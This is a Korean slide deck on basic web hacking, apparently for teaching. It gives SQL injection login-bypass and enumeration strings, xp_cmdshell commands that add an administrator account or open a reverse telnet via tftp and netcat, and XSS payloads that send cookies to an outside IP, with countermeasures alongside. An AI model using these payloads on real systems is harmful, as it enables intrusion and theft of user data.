슬라이드 1

Similar documents
문서 템플릿

PowerPoint Template

Microsoft Word - SKINFOSEC-CHR-026- Mass SQL Injection 탐지 우회분석 보고서.doc

PowerPoint Template

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

SKINFOSEC-CHR-028-ASP Mssql Cookie Sql Injection Tool 분석 보고서.doc

Observational Determinism for Concurrent Program Security

WEB Hacking 한국디지털미디어고등학교, T eampur e, JT JSOFT 장태 진

untitled

Secure Programming Lecture1 : Introduction

Microsoft PowerPoint - 10Àå.ppt

제목 레이아웃

Microsoft Word - src.doc

Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용

Windows 8에서 BioStar 1 설치하기

untitled

로거 자료실

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

AhnLab_template

EDB 분석보고서 (04.06) ~ Exploit-DB( 에공개된별로분류한정보입니다. Directory Traversal users-x.php 4.0 -support-x.php 4.0 time-

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

DBMS & SQL Server Installation Database Laboratory

1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml 파일을텍스트에디터를이용하여 Open 합니다. config.xml 파일에서, 아

Microsoft PowerPoint - GUI _DB연동.ppt [호환 모드]

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

untitled

< 목차 > Ⅰ. 개요 3 Ⅱ. 실시간스팸차단리스트 (RBL) ( 간편설정 ) 4 1. 메일서버 (Exchange Server 2007) 설정변경 4 2. 스팸차단테스트 10

Bind Peeking 한계에따른 Adaptive Cursor Sharing 등장 엑셈컨설팅본부 /DB 컨설팅팀김철환 Bind Peeking 의한계 SQL 이최초실행되면 3 단계의과정을거치게되는데 Parsing 단계를거쳐 Execute 하고 Fetch 의과정을통해데이터

WebKnight를 활용한 IIS 웹서버 보안

< FBBE7B0EDB3EBC6AE5FB5F0C6FAC6AEC6D0BDBABFF6B5E5C3EBBEE0C1A128BCF6C1A4292E687770>

SSL Strip Attack JAC (SemiDntmd) 이우승 semidntmd.tistory.com

PowerPoint 프레젠테이션

<4D F736F F F696E74202D C0A5BCADB9F620BAB8BEC8BCB3C1A420B0A1C0CCB5E52E707074>

MySQL-.. 1

Microsoft Word - CrossSiteScripting[XSS].docx

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

SSL인증서 설치 매뉴얼 (Apache)

<5B4B D5FB1B9B3BB20C5ACB6F3BFECB5E520BCADBAF1BDBA20BAB8BEC820C3EBBEE0C1A120C1A1B0CB2020B3BBBFEB2E687770>

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

<5BB5BFB8EDB4EB2D E4B5D C0A5BDA9C0C720BAD0BCAEB0FA20B4EBC0C020B9E6BEC82E687770>

10.ppt

설명 Description 상세정보 네이버에서운영하는서비스중하나인쥬니어네이버 ( 이하쥬니버 ) 에서는쥬니버서비스와 관련하여도움을주기위한 [ 그림 1] 과같은플래시애플리케이션이서비스되고있다.[2] [ 그림 1] 쥬니어네이버에서서비스중인쥬니버도우미플래시애플리케이션 해당플래

Microsoft Word FCKeditor.doc

Cloud Friendly System Architecture

게시판 스팸 실시간 차단 시스템

제이쿼리 (JQuery) 정의 자바스크립트함수를쉽게사용하기위해만든자바스크립트라이브러리. 웹페이지를즉석에서변경하는기능에특화된자바스크립트라이브러리. 사용법 $( 제이쿼리객체 ) 혹은 $( 엘리먼트 ) 참고 ) $() 이기호를제이쿼리래퍼라고한다. 즉, 제이쿼리를호출하는기호

Microsoft Word - junior.docx

The Pocket Guide to TCP/IP Sockets: C Version

Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일

SAS9.2_SAS_Enterprise_Miner_install_guide_single_user_v2

(Microsoft Word - \301\266\301\326\272\300_XSS.docx)

PowerPoint 프레젠테이션

슬라이드 1

4. CSR 값확인. (vi csr.pem) CSR(Certificate Signing Request) 즉, 인증서서명요청입니다. 이는자신이설치할웹서버에서 DN 값, 각종정보를암호화한파일로써 한국전자인증 신청란에서붙여넣으면됩니다. 인증서설치 1. 직접 CSR 및 KEY

Microsoft Word - Windows_apahce_php_CUBRID2008

JDBC 소개및설치 Database Laboratory

0. 들어가기 전

3) MySQL data 백업백업방법 : dump 파일로저장저장위치 : /backup/mysqldump 백업주기 : 시간별 (/etc/cron.hourly) 또는일별 (/etc/cron.daily) 보관기간 : 7 일백업스크립트 : 아래예제 6-1). 참조 4) 웹데이

untitled

PowerPoint 프레젠테이션

Microsoft PowerPoint - web-part03-ch20-XMLHttpRequest기본.pptx

uFOCS

강의 개요

BEA_WebLogic.hwp

Microsoft PowerPoint - [Practice #1] APM InstalI.ppt

표준프레임워크 Nexus 및 CI 환경구축가이드 Version 3.8 Page 1

SBR-100S User Manual

<4D F736F F F696E74202D FC0CEC5CDB3DD20BAB8BEC8205BC8A3C8AF20B8F0B5E55D>

구축환경 OS : Windows 7 그외 OS 의경우교재 p26-40 참조 Windows 의다른버전은조금다르게나타날수있음 Browser : Google Chrome 다른브라우저를사용해도별차이없으나추후수업의모든과정은크롬사용 한

HLS(HTTP Live Streaming) 이용가이드 1. HLS 소개 Apple iphone, ipad, ipod의운영체제인 ios에서사용하는표준 HTTP 기반스트리밍프로토콜입니다. 2. HLS 지원대상 - 디바이스 : iphone/ipad/ipod - 운영체제 :

Microsoft Word - Blind Sql Injection.doc

Module 4 Active Directory Domain Services 관리자동화

Microsoft PowerPoint - 11주차_Android_GoogleMap.ppt [호환 모드]

VPN.hwp

C++ Programming

웹서버보안취약점대응및조치 교육사이버안전센터

76 XSS 하 Huge-IT Slider admin.php XSS

PowerPoint 프레젠테이션

정보보안개론 5 장

리눅스설치가이드 3. 3Rabbitz Book 을리눅스에서설치하기위한절차는다음과같습니다. 설치에대한예시는우분투서버 기준으로진행됩니다. 1. Java Development Kit (JDK) 또는 Java Runtime Environment (JRE) 를설치합니다. 2.

기술문서 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라.

SPECweb Install

InsertColumnNonNullableError(#colName) 에해당하는메시지출력 존재하지않는컬럼에값을삽입하려고할경우, InsertColumnExistenceError(#colName) 에해당하는메시지출력 실행결과가 primary key 제약에위배된다면, Ins

PowerPoint 프레젠테이션

저작자표시 - 비영리 - 변경금지 2.0 대한민국 이용자는아래의조건을따르는경우에한하여자유롭게 이저작물을복제, 배포, 전송, 전시, 공연및방송할수있습니다. 다음과같은조건을따라야합니다 : 저작자표시. 귀하는원저작자를표시하여야합니다. 비영리. 귀하는이저작물을영리목적으로이용할

슬라이드 1

단계

인도 웹해킹 TCP/80 apache_struts2_remote_exec-4(cve ) 인도 웹해킹 TCP/80 apache_struts2_remote_exec-4(cve ) 183.8

본교재는수업용으로제작된게시물입니다. 영리목적으로사용할경우저작권법제 30 조항에의거법적처벌을받을수있습니다. [ 실습 ] 스위치장비초기화 1. NVRAM 에저장되어있는 'startup-config' 파일이있다면, 삭제를실시한다. SWx>enable SWx#erase sta

<32355FC8A8C6E4C0CCC1F620B1B8C3E020BAB8BEC820B0A1C0CCB5E52E687770>

1. What is AX1 AX1 Program은 WIZnet 사의 Hardwired TCP/IP Chip인 iinchip 들의성능평가및 Test를위해제작된 Windows 기반의 PC Program이다. AX1은 Internet을통해 iinchip Evaluation

Web Scraper in 30 Minutes 강철

슬라이드 1

슬라이드 1

Transcription:

Web Hacking Basic hardsoju hardsoju@hanmail.net

Notice 본문서의저작권은저자및 Wise Guys 에게있습니다. 상업적인용도외에어떠한용도 ( 복사, 인용, 수정, 배포 ) 로도사용할수있으며 Wise Guys 의동의없이상업적인목적으로사용됨을금지합니다. 본문서로인해발생한어떠한사건에대한책임도저작권자에게는없음을밝힙니다. 본문서의잘못된부분이나지적이나추가하고싶은내용은저자에게메일을보내기바랍니다.

Index Ⅰ 취약한인증및세션관리 Ⅱ입력값검증부재 Ⅲ 취약한접근통제 Ⅳ XSS(Cross Site Scripting) Ⅴ 부적절한환경설정

Ⅰ 취약한인증및세션관리 1. 대표적인공격유형 2. 쿠키변조 3. Brute Force 4. Session Hijacking

Ⅰ 취약한인증및세션관리 - 웹애플리케이션은사용자들의요청을지속적으로추적하기 위해세션정보를사용하고개별사용자마다독립된세션을 가짐 - 공격자는암호나키, 쿠키, 기타인증관련토큰을공격하여인 증을우회하고다른사용자로위장하거나권한상승시도

1. 대표적인공격유형 쿠키조작 Brute Force Session Hijacking

2. 쿠키변조 쿠키는클라이언트측에저장되고세션또는서버와정보공유를위한데이터가저장됨 1) 쿠키변조예 Set-Cookie:member_id=hardsoju;path=/ Set-Cookie:member_level=5;path=/ # 변조후 Set-Cookie:member_id=admin;path=/

2. 쿠키변조 2) 다양한시도 ID 조작후변화가없다면 member_level 을변경하여 권한상승시도 # 변조후 Set-Cookie:member_level=1;path=/

2. 쿠키변조 3) 평문형태의쿠키정보 사용자정보 쿠키에평문형태로저장되는사용자정보는사용자 전환이나권한도용에노출

2. 쿠키변조 4) 공격가능성 웹프록시나쿠키모니터링툴을이용하여타겟웹사이트의인증및사용자구분메커니즘을파악한후쿠키를변조하여권한상승이나사용자도용.

2. 쿠키변조 5) 대책서버측세션사용하여인증중요정보는쿠키에의존하지않는별도처리메커니즘구현불가피하게사용시암호화

3. Brute Force 사전대입법, 추측등에의한무차별대입공격 1) 공격가능성 자동화된 Brute Forcing 툴을이용 (Brutus-AET2, Hydra, Sessions Brute-Forcer) 2) 대책 로그인실패횟수가특정횟수를초과하면계정잠금및 IP 차단

4. Session Hijacking Session ID 를스니핑이나추측을통해서도용 1) 세션취약성강력하지못한알고리즘길이가짧은 Session ID 세션타임아웃부재 타임아웃부재

4. Session Hijacking 2) 대책 - Session ID를추측불가능하게생성 - Session Timeout 기능 - SSL 통신사용 - 웹페이지요청시마다세션을확인하는메커니즘구현 - 회원정보수정시패스워드를재입력받는구조로, 세션공격에노출되더라도회원정보유출방지

Ⅱ 입력값검증부재 1. 대표적인공격유형 2. 파라미터변조 3. 폼필드변조 4. HTTP 헤더변조 5. 히든필드조작 6. sql injection 7. File Upload

Ⅱ 입력값검증부재 요청값이웹애플리케이션에서처리되기전에검증이이루어 지지않음 # 종류 URI, GET/POST request, 히든필드, 업로드파일확장자등

1. 대표적인공격유형 파라미터변조 폼필드변조 HTTP 헤더변조 히든필드조작 sql injection File Upload

2. 파라미터변조 - 사용자구분및인증과관련된부분이 GET/POST string 으로전해질때의취약점 - GET/POST request는변조가능성존재 1) 변조예 http://www.test.com/member/memberlist.asp?id=hardsoju # 변조후 http://www.test.com/member/memberlist.asp?id=admin

2. 파라미터변조 ID,PASSWORD 노출 GET 방식처리는웹로그에남기때문에로그파일유출시 계정유출로연결

2. 파라미터변조 2) 대책 인증및사용자구분을 request string 에의존하지않게구현 인증처리를위한계정및패스워드폼필드는 POST 방식이용

3. 폼필드변조 사용자의입력값을검증하기위한자바스크립트우회 # 대표적인예 회원가입시주민번호검증루틴우회 업로드파일확장자검증루틴우회

3. 폼필드변조 1) 우회가능성 - 웹프록시를이용한검증우회 - 소스보기를통한검증우회 (html 로저장하여자바스크립트검증루틴을우회한후폼 태그에서 action 페이지로바로전송 )

3. 폼필드변조 2) 웹프록시를이용한검증우회 주민번호검증우회 조작된주민번호

3) 대책 3. 폼필드변조 Server Side Script 를이용한검증

1) HTTP 헤더? 4. HTTP 헤더변조 사용자와서버간에전송되는정보 2) 문제발생요인 헤더정보기반의인증허용, 접근통제는해당값을변조하여 우회가능성 ex) Referer 정보를신뢰하는사이트에서온것처럼변조

4. HTTP 헤더변조 3) 헤더형식 Referer 필드 GET : HTTP 메소드 HTTP Version : 1.0 Accept 필드 : 웹브라우저가서버로부터수신하고하는데이터타입 Referer 필드 : 사용자의접속 URL(www.test.com/index.html)

4. HTTP 헤더변조 4) 대책 - 사용자로부터전달된값을신뢰해서는안됨 - 반드시인증절차를거쳐웹애플리케이션에서접근을 허용하거나거부하는과정을거치도록구현

5. 히든필드조작 1) 히든필드기본형식 <input type= hidden name= 변수명 value= 값 > HTML의일부이기때문에소스보기를통해노출 2) 히든필드변조예 <input type=hidden name= price value= 35000 > # 변조후 <input type=hidden name= price value= 350 >

3) 히든필드조작하기 5. 히든필드조작 주문가격및마일리지변조 주문정보를히든필드로넘기는취약점

4) 히든필드조작결과 5. 히든필드조작 결제금액 : 49 원마일리지 : 1 억

5. 히든필드조작 5) 대책 - 중요정보는서버측에서처리 - 해당값의무결성을검사할수있는루틴추가

6. SQL Injection 데이터베이스와연동되어있는애플리케이션의입력값을 조작하여의도되지않은결과를반환하도록하는공격기법 공격유형 - 인증우회 - 시스템명령실행 - DB 정보조회

6. SQL Injection 1) 인증우회 - 일반적인로그인처리코드 strsql = SELECT user_id, user_pw, name, email, homepage FROM member WHERE user_id = &id& AND user_pw = &password& setrs = Dbconn.execute(strSQL) If not Rs.eof then chkuser = true If trim(id) = or trim(password) = then chkuser = false If chkuser then 로그인성공처리부분

6. SQL Injection -공격가능성 아이디 : or 1=1-- 비밀번호 : 임의값 아이디 : admin 비밀번호 : or 1=1-- 아이디 : or 1=1-- 비밀번호 : or 1=1

6. SQL Injection - 쿼리문주입하기 아이디 : or 1=1-- 비밀번호 : 임의값 SELECT user_id FROM member WHERE user_id = or 1=1 AND password = 임의값 FALSE TRUE 주석처리 TRUE 비밀번호에임의값을입력하여클라이언트사이드스크립트검증을피하고쿼리문상에서는주석처리로인해에러가발생하지않음.

- 실제주입되는쿼리문 6. SQL Injection user_id = &id& AND user_pw = &password& or 1=1-- ( 완성되는쿼리구문 ) 아이디 : or 1=1

6. SQL Injection - 결과 공격성공시테이블의첫번째에있는계정으로로그인. 일반적으로첫번째계정은관리자이거나테스트계정.

- 인증우회패턴 ' or''=' ' or 1=1-- ' or 'a'='a-- 'or'='or' " or 1=1-- " or "a"="a ') or ('a'='a ") or ("a"="a ) or (1=1 or = 6. SQL Injection

6. SQL Injection - 구글검색 inurl:login.asp site:net

6. SQL Injection 2) 에러메시지를이용한정보획득 - having 절을이용한테이블및컬럼명조회 having 1=1--

6. SQL Injection - group by 절을이용한컬럼명조회 group by (user_id)--

6. SQL Injection -ID 조회 or 1=(select top 1 user_id from member)--

6. SQL Injection - PASSWORD 조회 or 1=(select top 1 user_pw from member)--

6. SQL Injection - user name 조회 and user>0--

6. SQL Injection -DB 명조회 and 0<>db_name()--

6. SQL Injection - 모든 DB 명조회 and 1=(select name from master.dbo.sysdatabases whe re dbid=7)-- dbid 를높여가며조회시모든테이블명획득 (1~6 은 system db)

6. SQL Injection - 특정 DB 에서사용자가만든모든테이블명조회 (top 증가 ) and 0<>(select top 1 name from dbo.sysobjects where xtype=char(85))--

6. SQL Injection - 모든테이블명조회 (top 증가 ) and (select top 1 cast(name as varchar(8000)) from(select top 37 id, name from [mall]..[sysobjects] where xtype=char(85) order by name asc, id desc)t order by name desc,id asc)>0--

6. SQL Injection 3) UNION SQL Injection 비정규화된테이블을연결시킬때사용하는 UNION을이용하여정상적인 select문에공격자가 union select 절을주입하여원하는테이블조회. 똑같은컬럼, 표현식이아니라도자료형과순서만맞으면가능. - 제한조건컬럼의수가같아야한다. 데이터타입이같아야한다. 컬럼의이름이정확해야한다.

6. SQL Injection - 제한조건에어긋날경우오류형식 오류메시지를통해컬럼의개수, 타입을추측

6. SQL Injection -공격가능성 DB와연동되어 select 문을처리하고, 처리결과를웹페이지로반환해야함.

6. SQL Injection - 일반적인우편번호검색쿼리문 strsql="select * from zipcode where dong LIKE '%"& dong &"%' 문제발생지점 - 주입할쿼리문화곡동 %' union select '1','1','1',user_id,user_pw,'1','1' from member--

6. SQL Injection - 완성되는공격쿼리문 strsql="select * from zipcode where dong LIKE '%"& dong &"%' union select '1','1','1',user_id,user_pw, '1','1' from member--% 주입된쿼리문 주입된 % 원래의 % %' 를강제삽입하여 LIKE절을마감시키고 UNION을이용하여다른테이블에질의. 원래의 % 는주석처리되어에러가발생하지않음.

6. SQL Injection - TABLE NAME 조회화곡동 %' union select '1','1','1',table_name,'1','1','1' from information_schema.tables-- 테이블명

6. SQL Injection - COLUM NAME, DATA TYPE 조회화곡동 %' union select '1','1','1',table_name,column_name, data_type,'1' from information_schema.columns where table_name='member'-- 컬럼명 타입

6. SQL Injection - MEMBER TABLE 조회화곡동 %' union select '1','1','1',name,user_id,user_pw, '1' from member-- 이름아이디패스워드

6. SQL Injection 4) 확장저장프로시저악용공격시나리오 - 1 1 ping 을통한 xp_cmdshell 활성화여부확인 ;exec master..xp_cmdshell ping 192.168.0.3 --

6. SQL Injection 2 리버스텔넷 ; exec master..xp_cmdshell tftp i 192.168.0.3 get nc.bat & nc.bat -- tftp 로부터 nc.bat 를다운로드하고, nc.bat 는 attack.exe 파일을생성하여공격자 PC 로리버스텔넷

6. SQL Injection 공격자는 8080 port listen nc lvp 8080

3 DB 접속정보획득 6. SQL Injection

6. SQL Injection 4 DB 조회코드작성 방화벽으로인해직접적인접근이불가한경우 DB 접속 정보를분석하여 DB 조회코드를작성 (Server Side Script)

6. SQL Injection 5 DB 정보조회 웹으로접근하여회원정보열람 (DB 를획득하는방법은다양함 )

6. SQL Injection 공격시나리오 - 2 1 터미널서비스실행화곡동 ;exec master..xp_cmdshell net start terminal services --

6. SQL Injection 2 관리자권한계정생성화곡동 ;exec master..xp_cmdshell net user tester 1234 /add -- 화곡동 ;exec master..xp_cmdshell net localgroup administrators tester /add --

3 터미널서비스접속 6. SQL Injection

6. SQL Injection 공격시나리오 - 3 1 테이블정보덤프화곡동 ;exec sp_makewebtask c: inetpub wwwroot asp dump.html, select * from sysobjects where xtype=''u''--

6. SQL Injection 2 회원정보덤프화곡동 ;exec sp_makewebtask c: inetpub wwwroot asp member.html, select * from member --

6. SQL Injection 5) 서명기반탐지우회하기 OR 'Simple' = 'Sim'+'ple' OR 'Simple' LIKE 'Sim%' OR 'Simple' IN ('Simple') OR 'Simple' BETWEEN 'R' AND 'T' UNION /**/ SELECT name /**/UNION/**/SELECT/**/name OrigText'/**/OR/**/'Simple'='Simple' UN/**/ION/**/ SE/**/LECT/**/ EXEC('INS'+'ERT INTO ')

6. SQL Injection 6) 대책 - 데이터베이스와연동을하는스크립트의모든파라미터점검 - 사용자입력값에특수문자가포함되어있는지검사하여, 제거하거나에러처리 id=replace(id,, ) - SQL 서버의에러메시지를사용자에게보여주지않도록설정 - 데이터베이스사용자의권한제한 - php.ini 설정중 magic_quotes_gpc 값을 On으로설정

7. File Upload 1) 확장자필터링우회 asp 파일은업로드불가. 확장자필터링은대소문자조합이나다양한방식으로응용 하여우회가능.

7. File Upload 2) 시스템명령실행 웹쉘을업로드하여시스템명령실행 업로드경로가노출되지않는경우디렉토리추측 ex)data, file, files, image, images 등

7. File Upload 3) 리버스텔넷

7. File Upload 4) 대책 - 업로드디렉토리실행설정제거 - 대소문자조합에대한확장자필터링처리 (Server Side Script) - 업로드확장자허용방식구현 - 업로드된파일이름을임의로변경하여저장

Ⅲ 취약한접근통제 1. 대표적인공격유형 2. 접근통제부재 3. URL 강제접속

Ⅲ 취약한접근통제 - 특정권한이부여된애플리케이션에공격자가인증과정을거치지않고직접접근 - 개발자가의도한경로나순서에의해접근한다고가정하는디자인, 설계자체의결함 - 공격자는민감한정보를열람하거나허용되지않은작업을수행

1. 대표적인공격유형 접근통제부재 URL 강제접속

2. 접근통제부재 1) 설계 / 디자인상의결함 - 개발자가생각하는접근단계 view.asp delete_ok.asp list.asp - 공격자가생각하는접근단계 view.asp delete_ok.asp list.asp delete_ok.asp 에서는세션을체크하지않아다른사용자의게시물을삭제할수있음

2. 접근통제부재 2) 공격가능성 특정게시물삭제나수정시웹프록시를이용해게시물번호를바꾸게되면해당게시물을변조하거나삭제할수있음. 3) 대책 페이지마다세션비교 게시물수정및삭제시비밀번호확인구조

3. URL 강제접속 1) 일반적인관리자페이지 URL 유추 - http://www.test.com/admin - http://www.test.com/admin/admin - http://www.test.com/webmaster

3. URL 강제접속 관리자페이지자체에접근하는것만으로권한을얻거나, 인증을요구하더라도 sql injection 취약점등을이용하여우회

3. URL 강제접속 2) 공격가능성 인증후나타나는중간페이지에대해인증없이강제접속시도 ex) http://www.test.com/admin/memberlist.asp 일반적인접속과정 http://www.test.com/admin/login.asp -> http://www.test.com/admin/memberlist.asp

3. URL 강제접속 3) 구글검색 intitle:admin inurl:com

3. URL 강제접속 4) 대책추측하기어려운관리자페이지사용특정네트워크대역이나아이피만접근가능하도록구현웹서버에서의접근제어

ⅣXSS(CrossSite Scripting) 1. 대표적인공격유형 2. Session ID, Cookie 가져오기

Ⅳ XSS (Cross Site Scripting) - 웹페이지에악의적인스크립트를포함시켜사용자측에서실행되게유도하는공격기법 - 사용자에게입력받은데이터를필터링하지않고그대로동적으로생성된웹페이지에포함하여사용자에게재전송할때발생

1. 대표적인공격유형 Session ID, Cookie 가져오기 1 악의적인스크립트게시 5 권한도용 2 스크립트가포함된게시물클릭 3 스크립트실행 4 Session ID, Cookie

2. Session ID, Cookie 가져오기 1) XSS 취약성확인 <script>alert( XSS )</script>

2. Session ID, Cookie 가져오기 2) 악의적인스크립트게시 스크립트가포함된게시물등록

2. Session ID, Cookie 가져오기 3) Session ID 가져오기 게시물을클릭하게되면공격자의서버로 Session ID 전송

2. Session ID, Cookie 가져오기 4) 사용자전환및권한도용 웹프록시등의툴을이용하여도용한세션아이디적용

2. Session ID, Cookie 가져오기 4) 사용자전환및권한도용 ( 계속 )

2. Session ID, Cookie 가져오기 5) 다양한 XSS 패턴 <script>document.location='http://192.168.190.80/get.asp?token='+document.coo kie;</script> <script>url="http://192.168.190.80/get.asp?token="+document.cookie;window.ope n(url,width=0,height=0);</script> <<SCRIPT>document.location='http://192.168.190.80/get.asp?token='+document.co okie;//<</script> <<SCRIPT>url="http://192.168.190.80/get.asp?token="+document.cookie;window.op en(url,width=0,height=0);//<</script> <script src=http://192.168.190.80/xss.js></script> <embed src="http://192.168.190.80/xss.swf"></embed> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.location='http://192.168.190.80/get.asp?token='+document.cookie;">

2. Session ID, Cookie 가져오기 5) 다양한 XSS 패턴 ( 계속 ) <IMG SRC="jav ascript:document.location='http://192.168.190.80/get.asp?tok en='+document.cookie;"> <IMG SRC=jav ascript:url="http://192.168.190.80/get.asp?token="+document.c ookie;window.open(url,width=0,height=0);> <IMG SRC="jav ascript:document.location='http://192.168.190.80/get.asp?tok en='+document.cookie;"> <IMG SRC=jav ascript:url="http://192.168.190.80/get.asp?token="+document.c ookie;window.open(url,width=0,height=0);> <IMG SRC="jav ascript:document.location='http://192.168.190.80/get.asp?tok en='+document.cookie;">

2. Session ID, Cookie 가져오기 5) 다양한 XSS 패턴 ( 계속 ) <IMG SRC=jav ascript:url="http://192.168.190.80/get.asp?token="+document.c ookie;window.open(url,width=0,height=0);> </title><script>document.location='http://192.168.190.80/get.asp?token='+docu ment.cookie;</script> <IMG SRC="http://192.168.190.80/help.gif" alt="bar" onmouseover="javascript:document.location='http://192.168.190.80/get.asp?t oken='+document.cookie">

6) 대책 2. Session ID, Cookie 가져오기 - data=replace(data,"<","<") 같은코드를사용하여특수문자가입력되면그의미를상실하고단순히출력되게함 변경전 < > ( ) # & 변경후 < > &#40 &#41 &#35 &#38 - 사용자입력값에대해 HTML encoding 수행후허용된태그만사용하도록필터링 data=server.htmlencode(data) 'HTML 인코딩후 data=replace(data,"<p>","<p>") ' 허용할태그

Ⅴ 부적절한환경설정 1. 대표적인공격유형 2. 미등록확장자 3. 디렉토리인덱싱 4. 샘플파일방치

Ⅴ 부적절한환경설정 - 웹애플리케이션을운영하는데있어서개발자와시스템 관리자들이실수로놓치게되어발생하는문제 - 기본설정을그대로사용하기때문에발생하는문제

1. 대표적인공격유형 미등록확장자 디렉토리인덱싱 샘플파일방치

2. 미등록확장자 1) 미등록확장자 특정확장자의파일들이서버에서적절하게처리되지못할경우 소스코드노출 ex) - 개발자가사용하는전용에디터는사용자의편의를위해.bak 이란확장자를사용하는백업파일생성 - 관리자가생성한임시파일및원본과동일한백업파일등

2) 백업파일추측하기 2. 미등록확장자 웹페이지명뒤에.bak 등을추가하여추측 DB 접속정보가담긴파일의상대경로및파일명노출

3) DB 접속정보획득 2. 미등록확장자

2. 미등록확장자 4) 구글검색 inurl:com filetype:bak

2. 미등록확장자 5) 대책 - 불필요한파일삭제 - 백업디렉토리는권한설정을통한접근제어

3. 디렉토리인덱싱 - 웹브라우저로특정디렉토리를열면그디렉토리에있는모든파일과디렉토리목록나열 - 미리정의된기본 HTML 파일이존재하지않을경우발생 - 공격자에게시스템정보제공

3. 디렉토리인덱싱 1) 디렉토리구조및중요파일경로노출

3. 디렉토리인덱싱 2) 구글검색 intitle:index.of intext: 이력서

3. 디렉토리인덱싱 3) 대책 - IIS 웹사이트등록정보 디렉터리검색 해제

3. 디렉토리인덱싱 3) 대책 ( 계속 ) - Apache httpd.conf 파일에서 Indexes 항목제거 <Directory /usr/local/www > Options Indexes 제거 </Directory>

3. 디렉토리인덱싱 3) 대책 ( 계속 ) - Tomcat /conf/web.xml 에서 listing 값을 false 로변경 <init-param> <param-name>listing</param-name> <param-value>true</param-value> </init-param> false로변경

4. 샘플파일방치 - 웹서버설치후기본적으로제공되는샘플애플리케이션이나 설정파일은외부에공개되기쉽고, 공격자에게시스템의정보 를제공함 ex) phpinfo.php - 대책정상작동유무만을점검한후제거시스템설정과관련된애플리케이션은별도디렉터리생성하여운용

Q & A

참고자료 웹해킹패턴과대응 - 황순일, 김광진웹보안-최경철정보보안개론과실습 양대일, 김경곤홈페이지개발보안가이드 KISA XSS(Cross Site Scripting) Cheat Sheet RSnake SQL Server 2000 정원혁네이버용어사전 naver.com /* 출처가불분명한다수의인터넷자료를참고하였음 */